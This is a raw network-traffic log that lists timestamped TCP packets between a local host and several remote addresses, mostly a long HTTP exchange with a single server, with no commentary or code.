Nov 20, 2024 18:57:45.970289946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.970303059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.970355034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.971065998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.971079111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.971115112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.971129894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.971832037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.971946001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.972135067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.972270966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.972651005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.972697973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.972745895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.972893953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.973591089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.973604918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.973644018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.974410057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.974421978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.974462986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.975121975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.975136995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.975195885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.975224018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.976012945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.976026058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.976052046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.976064920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.976708889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.976751089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.976846933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.976936102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.977596045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.977658987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.977688074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.977727890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.978732109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.978744984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.978795052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.979160070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.979259014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.979686022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.980026007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.980077028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.980122089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.980853081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.980921030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.980983973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.981026888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.981563091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.981616974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.095474958 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:46.095741034 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:46.095757961 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:46.097245932 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:46.097313881 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:46.098440886 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:46.098510981 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:46.137655020 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.137685061 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.137696028 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.137716055 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.137722015 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.137725115 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.137806892 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.137830019 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.137877941 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.149466038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.149537086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.149569035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.149622917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.149674892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.149713993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.149738073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.149775028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.150293112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.150305033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.150347948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.151046038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.151060104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.151118040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.151164055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.151808023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.151880026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.151892900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.151940107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.152646065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.152666092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.152725935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.152725935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.153436899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.153525114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.153578043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.154227972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.154270887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.154335022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.154382944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.155040026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.155101061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.155112028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.155141115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.156002045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.156065941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.156169891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.156692982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.156754017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.156758070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.156871080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.157605886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.157649040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.157677889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.158241987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.158370972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.158437014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.158463955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.158505917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.159104109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.159174919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.159387112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.159466028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.159982920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.159996986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.160039902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.160052061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.160865068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.160877943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.160943985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.161618948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.161633015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.161689997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.162440062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.162453890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.162493944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.162529945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.163162947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.163219929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.163244009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.163297892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.163945913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.163997889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.164068937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.164108992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.164958000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.164988995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.165015936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.165038109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.165673018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.165688038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.165745974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.166419029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.166476965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.166897058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.166948080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.167282104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.167356014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.167417049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.167835951 CET	443	49852	23.44.203.79	192.168.2.6
Nov 20, 2024 18:57:46.168071985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.168077946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.168126106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.168838978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.168905973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.169083118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.169241905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.169647932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.169691086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.169967890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.170021057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.170543909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.170557022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.170604944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.171308994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.171432018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.171478987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.172132969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.172197104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.172254086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.172326088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.172940969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.173048019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.173060894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.173100948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.173372030 CET	49852	443	192.168.2.6	23.44.203.79
Nov 20, 2024 18:57:46.173389912 CET	443	49852	23.44.203.79	192.168.2.6
Nov 20, 2024 18:57:46.173785925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.173799992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.173835993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.173849106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.174530029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.174551010 CET	443	49852	23.44.203.79	192.168.2.6
Nov 20, 2024 18:57:46.174629927 CET	49852	443	192.168.2.6	23.44.203.79
Nov 20, 2024 18:57:46.174742937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.174885988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.175188065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.175374031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.175441980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.175535917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.176151991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.176208973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.176347971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.176390886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.176870108 CET	49852	443	192.168.2.6	23.44.203.79
Nov 20, 2024 18:57:46.176955938 CET	443	49852	23.44.203.79	192.168.2.6
Nov 20, 2024 18:57:46.176997900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.177012920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.177165031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.177849054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.177861929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.177911997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.177963018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.178651094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.178666115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.178728104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.179677963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.179691076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.179721117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.179733038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.180278063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.180291891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.180319071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.180345058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.181031942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.181045055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.181104898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.181862116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.181876898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.182069063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.182691097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.182704926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.182769060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.183549881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.183621883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.183680058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.184328079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.184341908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.184398890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.185125113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.185138941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.185204983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.185976028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.185990095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.186043024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.186729908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.186783075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.187089920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.187170982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.187532902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.187580109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.187587023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.187623024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.188381910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.188472033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.188534975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.188581944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.189201117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.189363956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.189419031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.189981937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.190246105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.190361023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.190406084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.190957069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.191009045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.191119909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.191158056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.192564964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.192578077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.192632914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.192651033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.245325089 CET	49852	443	192.168.2.6	23.44.203.79
Nov 20, 2024 18:57:46.245327950 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:46.245343924 CET	443	49852	23.44.203.79	192.168.2.6
Nov 20, 2024 18:57:46.245353937 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:46.293272972 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.294316053 CET	49854	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.294354916 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.294802904 CET	49854	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.294811010 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.322376013 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.322391987 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.322438955 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.322454929 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.322474003 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.322489023 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.322518110 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.322540998 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.332967997 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:46.333271027 CET	49858	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:46.333293915 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:46.335012913 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:46.335100889 CET	49858	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:46.336152077 CET	49858	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:46.336308956 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:46.342148066 CET	443	49853	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.349324942 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.351172924 CET	49853	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.351172924 CET	49853	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.351202965 CET	443	49853	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.351226091 CET	443	49853	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.351974964 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.351994038 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.352500916 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.352508068 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.360177994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.360193014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.360250950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.360575914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.360702038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.360785007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.361459970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.361656904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.361705065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.362188101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.362261057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.362284899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.362327099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.363262892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.363276958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.363416910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.363831997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.363845110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.363888025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.364722013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.364770889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.364806890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.364850044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.365781069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.365933895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.365993023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.366307974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.366347075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.366377115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.366434097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.367089987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.367141008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.367175102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.367387056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.367878914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.367927074 CET	49794	80	192.168.2.6	185.215.113.206
